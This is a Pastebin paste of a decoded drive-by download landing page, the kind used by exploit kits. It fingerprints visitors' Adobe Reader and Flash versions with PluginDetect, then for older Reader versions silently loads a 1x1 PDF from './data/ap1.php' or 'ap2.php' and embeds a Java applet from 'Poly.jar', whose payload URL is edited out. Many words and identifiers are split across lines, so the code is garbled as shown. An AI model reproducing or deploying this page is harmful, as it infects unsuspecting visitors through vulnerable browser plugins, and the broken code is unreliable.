Advertisement
The_KGB

Java Drive by SRC Decoded

Jun 28th, 2012
157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 28.94 KB | None | 0 0
  1. <html>
  2. <body>
  3. document.write('<center><h1>Please wait page is loading...</h1></center><hr>');
  4.  
  5. <script>
  6. function end_redirect() {}
  7. try {
  8.     var PluginDetect = {
  9.         version: "0.7.6",
  10.         name: "PluginDetect",
  11.         handler: function (c, b, a) {
  12.             returnfunction () {
  13.                 c(b, a)
  14.             }
  15.         },
  16.         isDefined: function (b) {
  17.             return typeof b != "undefined"
  18.         },
  19.         isArray: function (b) {
  20.             return (/array/i).test(Object.prototype.toString.call(b))
  21.         },
  22.         isFunc: function (b) {
  23.             return typeof b == "function"
  24.         },
  25.         isString: function (b) {
  26.             return typeof b == "string"
  27.         },
  28.         isNum: function (b) {
  29.             return typeof b == "number"
  30.         },
  31.         isStrNum: function (b) {
  32.             return (typeof b == "string" && (/\d/).test(b))
  33.         },
  34.         getNumRegx: / [ \ d][ \ d \ . \ _ ,- ] */,
  35.         splitNumRegx: / [ \ . \ _ ,- ]/g,
  36.         getNum: function (b, c) {
  37.             var d = this,
  38.                 a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumR
  39.                 egx).exec(b) : null;
  40.             return a ? a[0] : null
  41.         },
  42.         compareNums: function (h, f, d) {
  43.             var e = this,
  44.                 c, b, a, g = parse
  45.                 Int;
  46.             if (e.isStrNum(h) && e.isStrNum(f)) {
  47.                 if (e.isDefined(d) && d.compareNums) {
  48.                     return d.compareNum
  49.                     s(h, f)
  50.                 }
  51.                 c = h.split(e.splitNumRegx);
  52.                 b = f.split(e.splitNumRegx);
  53.                 for (a = 0; a < Math.min(c.length, b.l
  54.                 ength); a++) {
  55.                     if (g(c[a], 10) > g(b[a], 10)) {
  56.                         return 1
  57.                     }
  58.                     if (g(c[a], 10) < g(b[a], 10)) {
  59.                         return -1
  60.                     }
  61.                 }
  62.             }
  63.             retur
  64.             n 0
  65.         },
  66.         formatNum: function (b, c) {
  67.             var d = this,
  68.                 a, e;
  69.             if (!d.isStrNum(b)) {
  70.                 return null
  71.             }
  72.             if (!d.isNum(c)) {
  73.                 c = 4
  74.             }
  75.             c--;
  76.             e = b.replace(/ \ s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  77.             for (a = 0; a < 4; a++) {
  78.                 if (/ ^ (0 + )(. + )$/.test(e[a])) {
  79.                     e[a] = RegExp.$2
  80.                 }
  81.                 if (a > c || !(/ \ d/).test(e[a])) {
  82.                     e[a] = "0"
  83.                 }
  84.             }
  85.             return e.slice(0, 4).join(",")
  86.         },
  87.         $$hasMimeType: function (a) {
  88.             return f
  89.             unction(d) {
  90.                 if (!a.isIE && d) {
  91.                     var c, b, e, f = a.isString(d) ? [d] : d;
  92.                     if (!f || !f.length) {
  93.                         return null
  94.                     }
  95.                     fo
  96.                     r(e = 0; e < f.length; e++) {
  97.                         if (/[ ^\ s]/.test(f[e]) && (c = navigator.mimeTypes[f[e]]) && (b = c.enabledPlugin) && (b.name || b.description)) {
  98.                             return c
  99.                         }
  100.                     }
  101.                 }
  102.                 return null
  103.             }
  104.         },
  105.         findNavPlugin: function (l, e, c) {
  106.             var j = this,
  107.                 h = new RegExp(l, "i"),
  108.                 d = (!j.isDefined(e) || e) ? / \ d/ : 0,
  109.                 k = c ? new RegExp(c, "i") : 0,
  110.                 a = navigator.plugins,
  111.                 g = "",
  112.                 f, b, m;
  113.             for (f = 0; f < a.length; f++) {
  114.                 m = a[f].
  115.                 description || g;
  116.                 b = a[f].name || g;
  117.                 if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightCo
  118.                 ntext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) {
  119.                     if (!k || !(k.te
  120.                     st(m) || k.test(b))) {
  121.                         return a[f]
  122.                     }
  123.                 }
  124.             }
  125.             return null
  126.         },
  127.         getMimeEnabledPlugin: function (k, m, c) {
  128.             var e = t
  129.             his,
  130.                 f, b = new RegExp(m, "i"),
  131.                 h = "",
  132.                 g = c ? new RegExp(c, "i") : 0,
  133.                 a, l, d, j = e.isString(k) ? [k] : k;
  134.             for (d = 0; d < j.length; d++) {
  135.                 if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)) {
  136.                     l = f.description || h;
  137.                     a = f.n
  138.                     ame || h;
  139.                     if (b.test(l) || b.test(a)) {
  140.                         if (!g || !(g.test(l) || g.test(a))) {
  141.                             return f
  142.                         }
  143.                     }
  144.                 }
  145.             }
  146.             return 0
  147.         },
  148.         getP
  149.         luginFileVersion: function (f, b) {
  150.             var h = this,
  151.                 e, d, g, a, c = -1;
  152.             if (h.OS > 2 || !f || !f.version || !(e = h.ge
  153.             tNum(f.version))) {
  154.                 return b
  155.             }
  156.             if (!b) {
  157.                 return e
  158.             }
  159.             e = h.formatNum(e);
  160.             b = h.formatNum(b);
  161.             d = b.split(h.s
  162.             plitNumRegx);
  163.             g = e.split(h.splitNumRegx);
  164.             for (a = 0; a < d.length; a++) {
  165.                 if (c > -1 && a > c && !(d[a] == "0")) {
  166.                     return b
  167.                 }
  168.                 if (g[a] != d[a]) {
  169.                     if (c == -1) {
  170.                         c = a
  171.                     }
  172.                     if (d[a] != "0") {
  173.                         return b
  174.                     }
  175.                 }
  176.             }
  177.             return e
  178.         },
  179.         AXO: window.Activ
  180.         eXObject,
  181.         getAXO: function (a) {
  182.             var f = null,
  183.                 d, b = this,
  184.                 c = {};
  185.             try {
  186.                 f = new b.AXO(a)
  187.             } catch (d) {}
  188.             return f
  189.         },
  190.         convertFuncs: function (g) {
  191.             var a, h, f, b = / ^ [ \ $][ \ $]/,
  192.                 d = {},
  193.                 c = this;
  194.             for (a in g) {
  195.                 if (b.test(a)) {
  196.                     d[a] = 1
  197.                 }
  198.             }
  199.             for (a in d) {
  200.                 try {
  201.                     h = a.slice(2);
  202.                     if (h.length > 0 && !g[h]) {
  203.                         g[h] = g[a](g);
  204.                         delete g[a]
  205.                     }
  206.                 } catch (f) {}
  207.             }
  208.         },
  209.         initScript: function () {
  210.             var c = this,
  211.                 a = navigat
  212.                 or,
  213.                 e = "/",
  214.                 i = a.userAgent || "",
  215.                 g = a.vendor || "",
  216.                 b = a.platform || "",
  217.                 h = a.product || "";
  218.             if (c.file) {
  219.                 c.file.$ = c
  220.             }
  221.             if (c.verify) {
  222.                 c.verify.$ = c
  223.             };
  224.             c.OS = 100;
  225.             if (b) {
  226.                 var f, d = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win. * " + "CE", 22.1, "Win. * Mobile", 22.2, "Pocket \\ s * PC", 22.3, "", 100];
  227.                 for (f = d.length - 2; f >= 0; f = f - 2) {
  228.                     if (d[f] && new RegExp(d[f], "i").test(b)) {
  229.                         c.OS = d[f + 1];
  230.                         break
  231.                     }
  232.                 }
  233.             }
  234.             c.convertFuncs(c);
  235.             c.isIE = new Function("return " + e + " * @cc" + "_on!@ * " + e + "false")();
  236.             c.verIE = c.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(i) ? parseFloat(RegExp.$1, 10) : null;
  237.             c.Active
  238.             XEnabled = false;
  239.             if (c.isIE) {
  240.                 var f, j = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", "Scripting.Dictionary", "wmplayer.ocx"];
  241.                 for (f = 0; f < j.length; f++) {
  242.                     if (c.getAXO(j[f])) {
  243.                         c.ActiveXEnabled = true;
  244.                         break
  245.                     }
  246.                 }
  247.                 c.head = c.isDefin
  248.                 ed(document.getElementsByTagName) ? document.getElementsByTagName("head")[0] : null
  249.             }
  250.             c.isGecko = (/Gecko/i).test(h) && (/ecko\s*\/\s*\d/i).test(i);
  251.             c.verGecko = c.isGecko ? c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i) ? RegExp.$1 : "0.9") : null;
  252.             c.isSafari = (/Safari\s*\/\s*\d/i).test(i) && (/Apple/i).test(g);
  253.             c.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);
  254.             c.verChrome = c.isChrome ? c.formatNum(RegExp.$1) : null;
  255.             c.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i);
  256.             c.verOpera = c.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(i) || 1) ? parseFloat(RegExp.$1, 10) : null;
  257.             c.addWinEvent("load", c.handler(c.runWLfuncs, c))
  258.         },
  259.         init: function (c) {
  260.             var b = this,
  261.                 a, c;
  262.             if (!b.isString(c)) {
  263.                 return -3
  264.             }
  265.             if (c.length == 1) {
  266.                 b.getVersionDelimiter = c;
  267.                 return -3
  268.             }
  269.             c = c.toLowerCase().replace(/\s/g, "");
  270.             a = b[c];
  271.             if (!a || !a.getVersion) {
  272.                 return -3
  273.             }
  274.             b.plugin = a;
  275.             if (!b.isDefined(a.installed)) {
  276.                 a.instal
  277.                 led = a.version = a.version0 = a.getVersionDone = null;
  278.                 a.$ = b;
  279.                 a.pluginName = c
  280.             }
  281.             b.garbage = false;
  282.             if (b.i
  283.             sIE && !b.ActiveXEnabled) {
  284.                 if (a !== b.java) {
  285.                     return -2
  286.                 }
  287.             }
  288.             return 1
  289.         },
  290.         fPush: function (b, a) {
  291.             var c = this;
  292.             if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && !(b.length <= 0) && c.isFunc(b[0])))) {
  293.                 a.push(b)
  294.             }
  295.         },
  296.         callArray: function (b) {
  297.             var c = this,
  298.                 a;
  299.             if (c.isArray(b)) {
  300.                 for (a = 0; a < b.length; a++) {
  301.                     if (b[a] === n
  302.                     ull) {
  303.                         return
  304.                     }
  305.                     c.call(b[a]);
  306.                     b[a] = null
  307.                 }
  308.             }
  309.         },
  310.         call: function (c) {
  311.             var b = this,
  312.                 a = b.isArray(c) ? c.length : -1;
  313.             if (!(a <= 0) && b.isFunc(c[0])) {
  314.                 c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
  315.             } else {
  316.                 if (b.isFunc(c)) {
  317.                     c(b)
  318.                 }
  319.             }
  320.         },
  321.         getVersionDelimiter: ", ",
  322.         $$getVersion: function (a) {
  323.             returnfunction (g, d, c) {
  324.                 var e = a.init(g),
  325.                     f, b, h = {};
  326.                 if (e < 0) {
  327.                     return n
  328.                     ull
  329.                 };
  330.                 f = a.plugin;
  331.                 if (f.getVersionDone != 1) {
  332.                     f.getVersion(null, d, c);
  333.                     if (f.getVersionDone === null) {
  334.                         f.getVersionDone = 1
  335.                     }
  336.                 }
  337.                 a.cleanup();
  338.                 b = (f.version || f.version0);
  339.                 b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
  340.                 return b
  341.             }
  342.         },
  343.         cleanup: function () {},
  344.         addWinEvent: function (d, c) {
  345.             var e = this,
  346.                 a = window,
  347.                 b;
  348.             if (e.isFunc(c)) {
  349.                 if (a.addEventListener) {
  350.                     a.addEventListener(d, c, false)
  351.                 } else {
  352.                     if (
  353.                     a.attachEvent) {
  354.                         a.attachEvent("on" + d, c)
  355.                     } else {
  356.                         b = a["on" + d];
  357.                         a["on" + d] = e.winHandler(c, b)
  358.                     }
  359.                 }
  360.             }
  361.         },
  362.         winHandler: function (d, c) {
  363.             returnfunction () {
  364.                 d();
  365.                 if (typeof c == "function ") {
  366.                     c()
  367.                 }
  368.             }
  369.         },
  370.         WLfuncs0: [],
  371.         WLfuncs: [],
  372.         runWLfuncs: function (a) {
  373.             var b = {};
  374.             a.winLoaded = true;
  375.             a.callArr
  376.             ay(a.WLfuncs0);
  377.             a.callArray(a.WLfuncs);
  378.             if (a.onDoneEmptyDiv) {
  379.                 a.onDoneEmptyDiv()
  380.             }
  381.         },
  382.         winLoaded: false,
  383.         $$onWindowLoaded: function (a) {
  384.             returnfunction (b) {
  385.                 if (a.winLoaded) {
  386.                     a.call(b)
  387.                 } else {
  388.                     a.fPu
  389.                     sh(b, a.WLfuncs)
  390.                 }
  391.             }
  392.         },
  393.         div: null,
  394.         divID: "plugindetect",
  395.         divWidth: 50,
  396.         pluginSize: 1,
  397.         emptyDiv: function () {
  398.             var d = this,
  399.                 b, h, c, a, f, g;
  400.             if (d.div && d.div.child
  401.             Nodes) {
  402.                 for (b = d.div.childNodes.length - 1; b >= 0; b--) {
  403.                     c = d.div.childNodes[b];
  404.                     if (c && c.childNodes) {
  405.                         for (h = c.childNodes.length - 1; h >= 0; h--) {
  406.                             g = c.childNodes[h];
  407.                             try {
  408.                                 c.removeChild(g)
  409.                             } catch (f) {}
  410.                         }
  411.                     }
  412.                     if (c) {
  413.                         try {
  414.                             d.div.removeChild(c)
  415.                         } catch (f) {}
  416.                     }
  417.                 }
  418.             }
  419.             if (!d.div) {
  420.                 a = document.getElementById(d.divID);
  421.                 if (a) {
  422.                     d.div = a
  423.                 }
  424.             }
  425.             if (d.div && d.div.parentNode) {
  426.                 try {
  427.                     d.div.parentNode.removeChild(d.div)
  428.                 } catch (f) {}
  429.                 d.div = null
  430.             }
  431.         },
  432.         DONEfuncs: [],
  433.         onDoneEmptyDiv: function () {
  434.             var c = this,
  435.                 a, b;
  436.             if (!c.winLoaded) {
  437.                 ret
  438.                 urn
  439.             }
  440.             if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null) {
  441.                 return
  442.             }
  443.             for (a in c) {
  444.                 b = c[a];
  445.                 if (b && b.funcs) {
  446.                     if (b.OTF == 3) {
  447.                         return
  448.                     }
  449.                     if (b.funcs.length && b.funcs[b.funcs.length - 1]! == null) {
  450.                         return
  451.                     }
  452.                 }
  453.             }
  454.             for (a = 0; a < c.DONEfuncs.length; a++) {
  455.                 c.callArray(c.DONEfuncs)
  456.             }
  457.             c.emptyDiv()
  458.         },
  459.         getWidth: function (c) {
  460.             if (c) {
  461.                 var a = c.scrollWidth || c.offsetWidth,
  462.                     b = this;
  463.                 if (b.isNum(a)) {
  464.                     return
  465.                     a
  466.                 }
  467.             }
  468.             return -1
  469.         },
  470.         getTagStatus: function (m, g, a, b) {
  471.             var c = this,
  472.                 f, k = m.span,
  473.                 l = c.getWidth(k),
  474.                 h = a.sp
  475.                 an,
  476.                 j = c.getWidth(h),
  477.                 d = g.span,
  478.                 i = c.getWidth(d);
  479.             if (!k || !h || !d || !c.getDOMobj(m)) {
  480.                 return -2
  481.             }
  482.             if (j < i || l < 0 || j < 0 || i < 0 || !(i > c.pluginSize) || c.pluginSize < 1) {
  483.                 return 0
  484.             }
  485.             if (l >= i) {
  486.                 return -1
  487.             }
  488.             try {
  489.                 if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)) {
  490.                     if (!m.winLoaded && c.winLoaded) {
  491.                         ret
  492.                         urn 1
  493.                     }
  494.                     if (m.winLoaded && c.isNum(b)) {
  495.                         if (!c.isNum(m.count)) {
  496.                             m.count = b
  497.                         }
  498.                         if (b - m.count >= 10) {
  499.                             return
  500.                             1
  501.                         }
  502.                     }
  503.                 }
  504.             } catch (f) {}
  505.             return 0
  506.         },
  507.         getDOMobj: function (g, a) {
  508.             var f, d = this,
  509.                 c = g ? g.span : 0,
  510.                 b = c && c.firstCh
  511.                 ild ? 1 : 0;
  512.             try {
  513.                 if (b && a) {
  514.                     c.firstChild.focus()
  515.                 }
  516.             } catch (f) {}
  517.             return b ? c.firstChild : null
  518.         },
  519.         setStyle: function (b, g) {
  520.             var f = b.style,
  521.                 a, d, c = this;
  522.             if (f && g) {
  523.                 for (a = 0; a < g.length; a = a + 2) {
  524.                     try {
  525.                         f[g[a]] = g[a + 1]
  526.                     } catch (d) {}
  527.                 }
  528.             }
  529.         },
  530.         insertDivInBody: function (a, i) {
  531.             var h, f = this,
  532.                 b = "pd33993399",
  533.                 d = null,
  534.                 j = i ? window.top.document : window.document,
  535.                 c = " < ",
  536.                 g = (j.getElementsByTagName("body")[0] || j.body);
  537.             if (!g) {
  538.                 try {
  539.                     j.write(c + 'div id="' + b + '">o' + c + "/div>");
  540.                     d = j.getElementById(b)
  541.                 } catch (h) {}
  542.             }
  543.             g = (j.getElementsByTagName("body")[0] || j.body);
  544.             if (
  545.             g) {
  546.                 if (g.firstChild && f.isDefined(g.insertBefore)) {
  547.                     g.insertBefore(a, g.firstChild)
  548.                 } else {
  549.                     g.app
  550.                     endChild(a)
  551.                 }
  552.                 if (d) {
  553.                     g.removeChild(d)
  554.                 }
  555.             } else {}
  556.         },
  557.         insertHTML: function (g, b, h, a, k) {
  558.             var l, m = documen
  559.             t,
  560.                 j = this,
  561.                 p, o = m.createElement("span"),
  562.                 n, i, f = "<";
  563.             var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"];
  564.             if (!j.isDefined(a)) {
  565.                 a = ""
  566.             }
  567.             if (
  568.             j.isString(g) && (/[ ^\ s]/).test(g)) {
  569.                 p = f + g + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" ';
  570.                 for (n = 0; n < b.lengt
  571.                 h; n = n + 2) {
  572.                     if (/[ ^\ s]/.test(b[n + 1])) {
  573.                         p += b[n] + '="' + b[n + 1] + '" '
  574.                     }
  575.                 }
  576.                 p += ">";
  577.                 for (n = 0; n < h.length; n = n + 2) {
  578.                     if (/[ ^\ s]/.test(h[n + 1])) {
  579.                         p += f + 'param name="' + h[n] + '" value="' + h[n + 1] + '" / > '
  580.                     }
  581.                 }
  582.                 p += a + f + "/" + g + ">"
  583.             } else {
  584.                 p = a
  585.             }
  586.             if (!j.div) {
  587.                 i = m.getElementById(j.divID);
  588.                 if (i) {
  589.                     j.div = i
  590.                 } else {
  591.                     j.di
  592.                     v = m.createElement("div");
  593.                     j.div.id = j.divID;
  594.                     j.insertDivInBody(j.div)
  595.                 }
  596.                 j.setStyle(j.div, c.conc
  597.                 at(["width", j.divWidth + "px", "height", (j.pluginSize + 3) + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "block"]));
  598.                 if (!i) {
  599.                     j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"])
  600.                 }
  601.             }
  602.             if (j.div && j.div.par
  603.             entNode) {
  604.                 j.div.appendChild(o);
  605.                 j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
  606.                 try {
  607.                     if (o && o.parentNode) {
  608.                         o.focus()
  609.                     }
  610.                 } catch (l) {}
  611.                 try {
  612.                     o.innerHTML = p
  613.                 } catch (l) {}
  614.                 if (o.childNodes.length == 1 && !(j.isGecko && j.compareNums(j.verGecko, "1" + ",5,0,0") < 0)) {
  615.                     j.setStyle(o.firstChild, c.concat(["display", "inline"]))
  616.                 }
  617.                 return {
  618.                     span: o,
  619.                     winLoaded: j.winLoaded,
  620.                     tagName: (j.isString(g) ? g : "")
  621.                 }
  622.             }
  623.             re
  624.             turn {
  625.                 span: null,
  626.                 winLoaded: j.winLoaded,
  627.                 tagName: ""
  628.             }
  629.         },
  630.         flash: {
  631.             mimeType: "application/x-shockwave-flash",
  632.             progID: "ShockwaveFlash.ShockwaveFlash",
  633.             classID: "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",
  634.             getVersion: function () {
  635.                 var b = function (i) {
  636.                         if (!i) {
  637.                             return null
  638.                         }
  639.                         var e = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(i);
  640.                         return e ? e[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
  641.                     };
  642.                 var j = this,
  643.                     g = j.$,
  644.                     k, h, l = null,
  645.                     c = null,
  646.                     a = null,
  647.                     f, m, d;
  648.                 if (!g.isIE) {
  649.                     m = g.hasMimeType(j.mimeType);
  650.                     if (m) {
  651.                         f = g.getDOMobj(g.insertHTML("object", ["type", j.mimeType], [], "", j));
  652.                         try {
  653.                             l = g.getNum(f.G
  654.                             etVariable("$version"))
  655.                         } catch (k) {}
  656.                     }
  657.                     if (!l) {
  658.                         d = m ? m.enabledPlugin : null;
  659.                         if (d && d.description) {
  660.                             l = b(d.description)
  661.                         }
  662.                         if (l) {
  663.                             l = g.getPluginFileVersion(d, l)
  664.                         }
  665.                     }
  666.                 } else {
  667.                     for (h = 15; h > 2; h--) {
  668.                         c = g.getAXO(j.progID + "." + h);
  669.                         if (c) {
  670.                             a = h.toString();
  671.                             break
  672.                         }
  673.                     }
  674.                     if (!c) {
  675.                         c = g.getAXO(j.progID)
  676.                     }
  677.                     if (a == "6") {
  678.                         try {
  679.                             c.Al
  680.                             lowScriptAccess = "always"
  681.                         } catch (k) {
  682.                             return "6,0,21,0"
  683.                         }
  684.                     }
  685.                     try {
  686.                         l = b(c.GetVariable("$version"))
  687.                     }
  688.                     cat
  689.                     ch(k) {}
  690.                     if (!l && a) {
  691.                         l = a
  692.                     }
  693.                 }
  694.                 j.installed = l ? 1 : -1;
  695.                 j.version = g.formatNum(l);
  696.                 return true
  697.             }
  698.         },
  699.         adobereader: {
  700.             mimeType: "application/pdf",
  701.             navPluginObj: null,
  702.             progID: ["AcroPDF.PDF", "PDF.PdfCtrl"],
  703.             class
  704.             ID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
  705.             INSTALLED: {},
  706.             pluginHasMimeType: function (d, c, f) {
  707.                 var b = this,
  708.                     e = b.$,
  709.                     a;
  710.                 for (a in d) {
  711.                     if (d[a] && d[a].type && d[a].type == c) {
  712.                         return 1
  713.                     }
  714.                 }
  715.                 if (e.getMi
  716.                 meEnabledPlugin(c, f)) {
  717.                     return 1
  718.                 }
  719.                 return 0
  720.             },
  721.             getVersion: function (l, j) {
  722.                 var g = this,
  723.                     d = g.$,
  724.                     i, f, m, n, b = null,
  725.                     h = null,
  726.                     k = g.mimeType,
  727.                     a, c;
  728.                 if (d.isString(j)) {
  729.                     j = j.replace(/\s/g, "");
  730.                     if (j) {
  731.                         k = j
  732.                     }
  733.                 } else {
  734.                     j = null
  735.                 }
  736.                 if (d.isDefined(g.INSTALLED[k])) {
  737.                     g.installed = g.INSTALLED[k];
  738.                     return
  739.                 }
  740.                 if (!d.isIE) {
  741.                     a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  742.                     if (g.getVersionDone !== 0) {
  743.                         g.getVersionDone = 0;
  744.                         b = d.getMimeEnabledPlugin(g.mimeType, a);
  745.                         if (!j) {
  746.                             n = b
  747.                         }
  748.                         if (!b && d.hasMimeTyp
  749.                         e(g.mimeType)) {
  750.                             b = d.findNavPlugin(a, 0)
  751.                         }
  752.                         if (b) {
  753.                             g.navPluginObj = b;
  754.                             h = d.getNum(b.description) || d.
  755.                             getNum(b.name);
  756.                             h = d.getPluginFileVersion(b, h);
  757.                             if (!h && d.OS == 1) {
  758.                                 if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)) {
  759.                                     h = "9"
  760.                                 } else {
  761.                                     if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)) {
  762.                                         h = "8"
  763.                                     }
  764.                                 }
  765.                             }
  766.                         }
  767.                     } else {
  768.                         h = g.version
  769.                     }
  770.                     if (!d.isDefined(n)) {
  771.                         n = d.getMimeEnabledPlugin(k, a)
  772.                     }
  773.                     g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ? -0.2 : -1))
  774.                 } else {
  775.                     b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]);
  776.                     c = /=\s*([\d\.]+)/g;
  777.                     try {
  778.                         f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.cla
  779.                         ssID], ["src", ""], "", g))).GetVersions();
  780.                         for (m = 0; m < 5; m++) {
  781.                             if (c.test(f) && (!h || !(RegExp.$1 - h <= 0))) {
  782.                                 h = RegExp.$1
  783.                             }
  784.                         }
  785.                     } catch (i) {}
  786.                     g.installed = h ? 1 : (b ? 0 : -1)
  787.                 }
  788.                 if (!g.version) {
  789.                     g.version = d.formatNum(h)
  790.                 }
  791.                 g.INSTALLED[k] = g.installed
  792.             }
  793.         },
  794.         zz: 0
  795.     };
  796.     PluginDetect.initScript();
  797.     PluginDetect.getVersion(".");
  798.     pdfver = PluginDetect.getVersion("AdobeReader");
  799.     flashver = PluginDetect.getVersion('Flash');
  800. } catch (e) {}
  801. if (typeof pdfver == 'string') {
  802.     pdfver = pdfver.split('.')
  803. } else {
  804.     pdfver = [0, 0, 0, 0]
  805. }
  806. if (typeof flashver == 'string') {
  807.     flashver = flashver.split('.')
  808. } else {
  809.     flashver = [0, 0, 0, 0]
  810. };
  811. exec7 = 1;
  812.  
  813. function spl0() {
  814.     spl2()
  815. }function spl2() {
  816.     spl3()
  817. }function
  818. show_pdf(src) {
  819.     var p = document.createElement('object');
  820.     p.setAttribute('type', 'application/pdf');
  821.     p.setAttribute('data', src);
  822.     p.setAttribute('width', 1);
  823.     p.setAttribute('height', 1);
  824.     document.body.appendChild(p)
  825. }function spl3() {
  826.     if (pdfver[0] > 0 && pdfver[0] < 8) {
  827.         exec7 = 0;
  828.         show_pdf('./data/ap1.php?f=e7f66::d4fc7')
  829.     } else if ((pdfver[0] == 8) || (pdfver[0] == 9 && pdfver[1] <= 3)) {
  830.         exec7 = 0;
  831.         sh
  832.         ow_pdf('./data / ap2.php')
  833.     }
  834.     spl4()
  835. }
  836.  
  837. function spl4() {
  838.     spl5()
  839. }
  840.  
  841. function spl5() {
  842.     setTimeout(end_redirect, 8000);
  843. }
  844. spl0();
  845. </script>
  846. <applet/code="r_ota.r_otb" /archive="Poly.jar">
  847.             <param/name="b" /value="*Edited URL OUT*"
  848.             />
  849.             </applet>
  850. </body>
  851. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement